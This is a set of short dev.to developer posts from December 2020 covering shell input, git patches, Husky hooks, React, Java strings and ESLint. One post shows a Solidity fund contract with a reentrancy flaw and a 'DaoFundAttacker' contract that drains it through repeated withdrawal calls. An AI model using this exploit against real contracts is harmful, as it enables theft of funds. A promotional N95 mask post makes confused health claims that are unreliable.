teleren/devto huggingface dataset:
Master Your Next Web Application
Tags: react, redux, webdev
Published: 2020-12-02 08:09:54

As a developer, when it comes to your web application, you want to make sure that you have the best project setup that will enable you to focus on your development without any issues.
You probably will look for a boilerplate with a small example, a build-ready project that you can just take its result and deploy it.
When you look at the bigger picture, and you need to define the infrastructure for a project that will give you full flexibility to add features, a project that includes placeholders for core functionality, business logic, configuration, common functionality, routes, translations, state-management, and last but not least what about technologies? your research will take longer.

Continue reading here: https://ofirattia.medium.com/master-your-next-web-application-3df95dde2976
what is DRY principle in Programming?
Tags: programming, django
Published: 2020-12-02 08:09:06

I have applied for some tests on Django recently.
However, I have not passed that test. I thought I was the guru of Django so far.
At this time, I am totally depressed about this test.
I think that it is just a simple test. But failed

The feedbacks come from them and I listed it below


The publication and comment part of Django models to be not very well designed (e.g., questionable use of GenericForeignKey, not fully DRY).

Is there anyone who can judge my model design fairly?
Thank you.
Broadcasting Actions — Integrate your React-Redux App with your backend
Tags: react, webdev, redux
Published: 2020-12-02 08:05:41

Nowadays there is an increased demand for fast response web applications, product owners, Users want to get their feedback from the website without waiting even a second, we want to make sophisticated activities but still keep our code clean and simple.
Think about creating live stock dashboards, support chats for e-commerce websites and the list is long.

Continue reading here: https://ofirattia.medium.com/broadcasting-actions-integrate-your-react-redux-app-with-your-backend-b097cd53b30f
Read User Input | Shell Scripting
Tags: tutorial, linux, beginners, devops
Published: 2020-12-02 08:05:39

**This is a multipart blog article series where I am going to explain the concepts of shell scripting and how to write a shell script in Linux, UNIX or Mac based systems. You can also follow this tutorial blog using windows but for that you have to install a bash from.**

_In this article we will see that how can we take user input in shell, and then print them on the screen._

### User input
- `read` command is used to take the input from the user. Like this `read name`
- We store the input in the variable and then we can use that variable wherever we want.
- If we want to take multiple inputs, then we can simply do that by passing multiple variables after read command. Like this `read name1 name2 name3`
- If we want to take the input in the same line in which message is shown, we can do this by this command `read –p ‘<message>’ <variable_name>`. We use –p flag with read to this.
- If you do not want to show the input user writing on the screen _(silent input)_, just like when you type password, you can use `-sp` flag after `read` to this.
- We can also take the input in the array from the user by using `-a` after read command.
- When we do not write any variable name after the read command, then the input will go inside the built-in variable `REPLY` and we can call it to see or access the data of the input.

[Practical code file for this article](https://github.com/rahulMishra05/shell-scripting/blob/main/video3.sh)

_So this was all about **reading user input**. Hope you liked it and learned something new from it._

If you have any doubt, question, queries related to this topic or just want to share something with me, then please feel free to contact me.

### 📱 Contact Me

[Twitter](https://twitter.com/r_mishra10)
[LinkedIn](https://www.linkedin.com/in/rahul-mishra-66210b185)
[Telegram](https://t.me/rahul_mishra10)
[Instagram](https://www.instagram.com/rahul_mishra10/?hl=en)

### 📧 Write a mail
<rahulmishra102000@gmail.com>

#### 🚀 Other links

[GitHub](https://github.com/rahulMishra05)
[HackerRank](https://www.hackerrank.com/rahulmishra10201)
1% Better Everyday -- Small and Mighty Changes
Tags: atomichabits, jamesclear, books, quotes
Published: 2020-12-02 08:01:30

---
title: 1% Better Everyday -- Small and Mighty Changes
published: true
description: My highlights from the book Atomic Habits by James Clear
tags: atomichabits, jamesclear, books, quotes
cover_image: https://dev-to-uploads.s3.amazonaws.com/i/2j46ew0o8f48l9eng2tu.jpeg
---

___

**Real change comes from the compound effect of hundreds of small decisions.**

___

While my peers stayed up late and played video games, I built good sleep habits and went to bed early each night.

___

I made it a habit to lift weights multiple times per week, and the in years that followed, my six-foot-four-inch frame bulked up from a featherweight 170 to a lean 200 pounds.

___

Changes that seem **small and unimportant** at first will compound into remarkable results if you’re willing to stick with them for years.

___

The **aggregation of marginal gains** — searching for a tiny margin of improvement in everything you do.

___

They (habits) seem to make little difference on any given day and yet the impact they deliver over the months and years can be enormous.

___

The impact created by a change in your habits is similar to the effect of shifting the route of an airplane by just a few degrees. Imagine you are flying from Los Angeles to New York City. If a pilot leaving from LAX adjusts the heading just 3.5 degrees south, you will land in Washington, D.C., instead of New York.

Such a small change is barely noticeable at takeoff — the nose of the airplane moves just a few feet — but when magnified across the entire United States, you end up hundreds of miles apart.

**A very small change in destination can lead to a very meaningful change in destination.**

___

If you want to predict where you’ll end up in life, all you have to do is follow the curve of tiny gains or losses, and see how your daily choices will compound ten or twenty years down the line.

___ 

**Are you spending less than you earn each month?**
**Are you making it into the gym every week?**
**Are you reading books and learning something new everyday?**

Tiny battles like these are the ones that will define your future self.

___

Bamboo can barely be seen for the first five years as it builds extensive root systems underground before exploding ninety feet into the air within six months.
\#overnightsuccess

___

Originally posted on [medium](https://medium.com/a-seed-of-thought/highlights-from-atomic-habits-part-i-876f75af991e).
Sharing your git patches
Tags: git, github, patch, team
Published: 2020-12-02 07:45:27

> Another way of sharing quick suggestions with your team

### Imagine this situation

You are reviewing a Pull Request (PR) and you see some minor improvements or suggestions that you would like to share with the author. You might write some comments, and usually, that would be sufficient.

But imagine that in order to transmit your “whole idea” you would need to change some files because just communicating the full picture will end up in a huge comment which might be not as clear as it could be.

## What possibilities are there apart from just comments in a PR?

Well, there are multiple options. The key is to be aware of them and use them wisely depending on the priority of the task and the changes themselves:
- As already mentioned, writing a comment as feedback is a good idea by default, but not the only one.
- We can always do some pair-thinking, talk at any time. Communication is always good in order to clarify the possible uncertainty.
- Sharing your git patches is another good option.

# Git diff to the rescue!

What if you (as a reviewer) could share your idea without any single commit or comment in the PR, but sharing your changes directly with the author?

Well, that’s actually possible and really easy. As you already know, the git diff command gives you the differences between any two branches.

> git diff origin develop > ../my-origin-develop.patch

What we are doing here is redirecting the output of the diff command into a file (aka: patch), so we can share that output with any other peer-team.

## What now?

Well, having that patch file, it’s pretty easy to apply those changes in your local machine without doing any commit:

> git apply ../my-origin-develop.patch

Applying this patch will simply change your local system in the same way the patch was created.

## “How to” by steps

Let’s divide the responsibilities into two: the creator of the patch and its user:

### The patch creator: the person who will create the patch

```
# Checkout that branch
$ ~/myProject git:(the-branch) ➜ git pull origin the-branch
# Do your suggestions and changes in the targeted branch
# Generate the patch file using the diff command
$ ~/myProject git:(the-branch) ➜ git diff > ../your-diff.patch
# Share the patch file with the author of the PR
```

### The patch user: the person who will see the patch

```
# Ensure you are in that branch
$ ~/myProject git:(the-branch) ➜ git pull origin the-branch
# Apply the patch file
$ ~/myProject git:(the-branch) ➜ git apply ../your-diff.patch
```

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/yhca9sh9ymbrgpmou9qn.png)

#### References

- https://git-scm.com/docs/git-apply

> Originally published on https://chemaclass.es/blog/sharing-git-patches/
The lazy CI - Running tests on git push!
Tags: javascript, lazy, testing
Published: 2020-12-02 07:40:07

## The lazy way

I love to start projects with other people. And when we start, we want two things:
* Build features!
* Make sure they work

So of course, we're building a few automated tests to ensure we don't break each other code (it becomes quite fast exhausting to test everything manually).

But there is something I really don't want to spend time on. Setting up a CI! I know it can be super fast, but I just don't want to! So here I come with my stupid, but 100% working solution: the "test on push" CI.

## Setup

As a lot of people, I use [Husky](https://github.com/typicode/husky) for commit hooks. It allows me to run Prettier and Eslint in fixing mode on every commit to format and fix any error that might be around in the code.

Well, it's also possible to run some commands on push!

First, let's install Husky:
`npm install husky`

Then add this to your `package.json`:
```
{
  "husky": {
    "hooks": {
      "pre-push": "npm test",
    }
  }
}
```

And _voilà_! Whenever you'll try to push, the tests will run first to make sure you didn't break anything!

________________
Photo by [Trym Nilsen](https://unsplash.com/@trymon?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/broken?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)
Find the best N95 mask for sale to ensure complete protection from hazardous particles
Published: 2020-12-02 07:39:01

When you want to protect yourself and your loved ones from the harmful effects of the many different forms of chemicals that are used in the manufacture of products, it's a good idea to invest in an <a href="https://accumed.com/n95-mask-for-sale-respirator-safety-face-mask-z1.html
">N95 mask for sale</a>. However, you'll need to be careful about which mask you choose to buy. Not all masks are made the same, and you need to make sure that the one you choose will provide you with the protection that you need.
One of the best types of masks that you can purchase for your protection is one that is made out of polypropylene fiber. This kind of mask is typically used by individuals who have allergies, and it works in that it can be worn over your mouth. It can then serve as a barrier that will keep dust particles and viruses from coming into contact with your body through the mouth and nose. As well, this kind of mask will help to prevent you from inhaling any of the harmful gases and pollutants that are released when you're sleeping.

Understand the purpose of wearing a face mask
The main purpose of wearing a mask is to cover the face. This is usually done at home, but it should be used similarly in office settings and outdoor as well. There are different types of masks for different areas of the face. It is very important to choose a mask that fits properly and also gives protection to the face in an area where there are a lot of traffic and also a lot of dirt and grime.
Most people choose N95 masks for various reasons. One of the most common reasons is for those who suffer from allergies. Some are allergic to dust, mold, and pollen while others are allergic to chemicals.
If you are looking for the highest quality of an N95 mask, it is a good idea to invest in an N95 mask for sale. These models are more durable and last longer, even when being used regularly. While you may not be able to use the machine every day, they are very effective at removing dust and other allergens from the air in your home.
A generally recommended face mask by experts
As mentioned above, several brands offer the N95 mask for sale in the market today and some are more affordable than others. However, you should be very careful in choosing which one to purchase. Some models have the safety straps included in their design, but if you are buying online, make sure that you check the model out thoroughly. And also make sure that the model you are purchasing is safe for your personal safety as you are exposed to the chemicals and gases that you are breathing every time you put on your mask.
To get the best quality N95 mask for sale, you can do some research by checking the local pharmaceuticals and retails stores that are selling these masks. However, if you are living in a Coronavirus contaminated zone then I would suggest you prefer the online option as websites like accumed.com and many others are selling the same masks at better prices.
[Video] How to copy a Docker image from one server to another without pushing it to a repository first?
Tags: docker, linux, devops, ubuntu
Published: 2020-12-02 07:31:55

In this quick video demo, I will show you how to copy a Docker image from one server to another without pushing it to a repository first!

{% youtube 6jVGWHYs0B0 %}

Useful links:

* Affiliate link for $100 free credit for DigitalOcean so you could spin up your own servers:

https://m.do.co/c/2a9bba940f39

* Blog post going through all of the steps from the video:
https://www.digitalocean.com/community/questions/how-to-copy-a-docker-image-from-one-server-to-another-without-pushing-it-to-a-repository-first

Hope that this helps!
Deployed a smartcontract on The fastest growing Network XinFin.
Tags: blockchain, xinfin, xdc
Published: 2020-12-02 07:30:33

Deployed a #smartcontract on XinFin XDC Network, which is growing faster in all aspects of community building, Adoption, utilities. The highlights of the network are: 1) 2 TPS, 2)Green Coin, 3)Hybrid environment, 4)usecases

Here's my today's deployed Code: 
`pragma solidity ^0.4.18;
contract DaoFund{
   mapping(address=>uint) balanceOf;
   event WithdrawBalance(string message,uint gas);
   function getUserBalance(address user) external view returns(uint) {
     return balanceOf[user];
   }
   function addToBalance() external payable {
     balanceOf[msg.sender] = balanceOf[msg.sender] + msg.value;
   }
   function withdrawBalance() external {
     uint amountToWithdraw = balanceOf[msg.sender];
    WithdrawBalance("withdrawBalance",msg.gas);
     if (msg.sender.call.value(amountToWithdraw)() == false) {
         revert();
     }
     balanceOf[msg.sender] = 0;
   }
}
contract DaoFundAttacker{
   address fundAddress;
   int goalAmount;
   event WithdrawBalance(string message,uint gas);
   function  DaoFundAttacker(address _fundAddress) public {
       fundAddress=_fundAddress;
   }
   function() public payable {
       goalAmount -= int(msg.value);
       if( goalAmount > 0 )
       {
      if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))) {
               WithdrawBalance("Succeeded in fallback",msg.gas);
           }
           else WithdrawBalance("Failed in fallback",msg.gas);
       }
       else {
           WithdrawBalance("All the goal amount withdraweAll the goal amount withdrawed.",msg.gas);
       }
   }
   function  deposit() public payable {
        if(fundAddress.call.value(msg.value).gas(20764)(bytes4(keccak256("addToBalance()"))) ==false) {
               revert();
        }
   }
   function  withdraw(uint _goalAmount) public {
       goalAmount = int(_goalAmount * 1 ether);  if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))==false ) {
               WithdrawBalance("Failed in withdraw",msg.gas);
               revert();
        }
        else WithdrawBalance("Succeeded in withdraw",msg.gas);
   }
}`
Weekly web development update #53
Tags: webdev, weekly
Published: 2020-12-02 07:29:05



______

##[Building Your Color Palette](https://uxmisfit.com/2019/05/21/ui-design-in-practice-colors/)
[![Building Your Color Palette](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/color-palette.jpg)](https://uxmisfit.com/2019/05/21/ui-design-in-practice-colors/)
A nice article with practical tips & tricks for building your color palette

______

##[Use console.log() like a pro](https://denic.hashnode.dev/use-consolelog-like-a-pro)
[![Use console.log() like a pro](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/console-log.jpg)](https://denic.hashnode.dev/use-consolelog-like-a-pro)
An article about advanced usage of console.log

______

##[Advent of Code](https://adventofcode.com/2020)
[![Advent of Code](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/advent-of-code.jpg)](https://adventofcode.com/2020)
An Advent calendar of small programming puzzles for a variety of skill sets and skill levels.

______

##[React Emotion Multi-step Form](https://z2lai.github.io/react-emotion-multi-step-form/)
[![React Emotion Multi-step Form](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/multi-step-form.jpg)](https://z2lai.github.io/react-emotion-multi-step-form/)
An interactive multi-step form library with concise declarative code.

______

##[Etebase](https://www.etebase.com/)
[![Etebase](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/etebase.jpg)](https://www.etebase.com/)
An open-source and end-to-end encrypted SDK and backend

______

##[React hover animation effect with React Spring](https://www.joshwcomeau.com/react/boop/)
[![React hover animation effect with React Spring](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/boop.jpg)](https://www.joshwcomeau.com/react/boop/)
A nice tutorial by Josh Comeau on hover transitions with React

______

##[Text Gradients](https://codyhouse.co/nuggets/text-gradients)
[![Text Gradients](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/text-gradients.jpg)](https://codyhouse.co/nuggets/text-gradients)
An article on how to create text gradients in CSS.

______

##[Thinking Like a Front-end Developer](https://ishadeed.com/article/thinking-like-a-front-end-developer/)
[![Thinking Like a Front-end Developer](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/thinking-frontend.jpg)](https://ishadeed.com/article/thinking-like-a-front-end-developer/)
How to think as a front-end developer and account for edge cases you might have missed.

______

##[Scale](https://2.flexiple.com/scale/all-illustrations)
[![Scale](https://wwebdev-images.s3.eu-central-1.amazonaws.com/content/weekly/53/scale.jpg)](https://2.flexiple.com/scale/all-illustrations)
Free customizable illustrations, that can be used without attribution.

______

To see all the weeklies check: [wweb.dev/weekly](https://wweb.dev/weekly)
React with CRA (Create React App)
Tags: react, javascript
Published: 2020-12-02 07:26:29


Tool yang dibutuhkan untuk memulai instalasi react Js

1. [ node & npm ] cek di website resminya [disini](https://nodejs.org/en/) 
2. [ Npx ] gunakan command `npm install -g npx` untuk menginstall nxpx secara global
3. [ Create React App ] gunakan command `npm install -g create-react-app` untuk memudahkan nantinya men setup react

  Setelah selesai kita bisa dengan mudah membuat aplikasi dengan react.
gunakan command `npx create-react-app nama_project`
 
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/s8xfilxvmr8quvivr91c.png)
*gambar suksess membuat project react*

selanjutnya tinggal pindah ke directory nama_folder dengan command `cd nama_folder` dan command `npm start` untuk memulai development

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/2e2thpgqwhlfa7ua4pl8.png)
Why React JS is better?
Tags: react
Published: 2020-12-02 07:26:10

Businesses that use ReactJS are assured of better performance compared to those that use other frameworks. Because ReactJS helps to prevent updating of DOM, it means that the apps will be faster and deliver better UX. ReactJS was designed to help improve the total rendered pages from the website server.

React. js is an open-source JavaScript library that is used for building user interfaces specifically for single-page applications. It's used for handling the view layer for web and mobile apps. React also allows us to create reusable UI components.
3. String in JAVA
Tags: java
Published: 2020-12-02 07:19:27

A **string** is a sequences of characters. In the case of the **char**, char contains a single character only.
A **String** can contain a sequence of characters.
Exmaple:
`String name = "Rittwick Bhabak"`
#3 Strings in Java are Immutable
```
String name = "Rittwick";
String name = name + "Bhabak";
```
In the above code, `name` doesn't get appended  the value "Bhabak" instead a new **String** is created which consists of the previous value of `name` plus "Bhabak".
The net result is same, `name` has the right values, however, a new `String` got created and the old one got discarded.
So, **String** is **immutable** in Java.
There are a class in Java called **StringBuffer** which can be changed.
ESLint setting
Published: 2020-12-02 07:17:20

day2

```
PS C:\Projects\weblog> .\node_modules\.bin\eslint --init
√ How would you like to use ESLint? · style       
√ What type of modules does your project use? · none
√ Which framework does your project use? · none
√ Does your project use TypeScript? · No / Yes
√ Where does your code run? · browser, node
√ How would you like to define a style for your project? · guide
√ Which style guide do you want to follow? · standard
√ What format do you want your config file to be in? · JavaScript
Checking peerDependencies of eslint-config-standard@latest
The config that you've selected requires the following dependencies:

eslint-config-standard@latest eslint@^7.12.1 eslint-plugin-import@^2.22.1 eslint-plugin-node@^11.1.0 eslint-plugin-promise@^4.2.1
√ Would you like to install them now with npm? · No / Yes
Installing eslint-config-standard@latest, eslint@^7.12.1, eslint-plugin-import@^2.22.1, eslint-plugin-node@^11.1.0, eslint-plugin-promise@^4.2.1
npm WARN weblog@1.0.0 No description
npm WARN weblog@1.0.0 No repository field.

+ eslint@7.14.0
+ eslint-plugin-import@2.22.1
+ eslint-plugin-node@11.1.0
+ eslint-config-standard@16.0.2
+ eslint-plugin-promise@4.2.1
added 71 packages from 47 contributors, updated 1 package and audited 183 packages in 27.729s

22 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

Successfully created .eslintrc.js file in C:\Projects\weblog
PS C:\Projects\weblog> 
```

.eslintrc.js was created as below.
```
module.exports = {
  env: {
    browser: true,
    es2021: true,
    node: true
  },
  extends: [
    'standard'
  ],
  parserOptions: {
    ecmaVersion: 12
  },
  rules: {
  }
}
```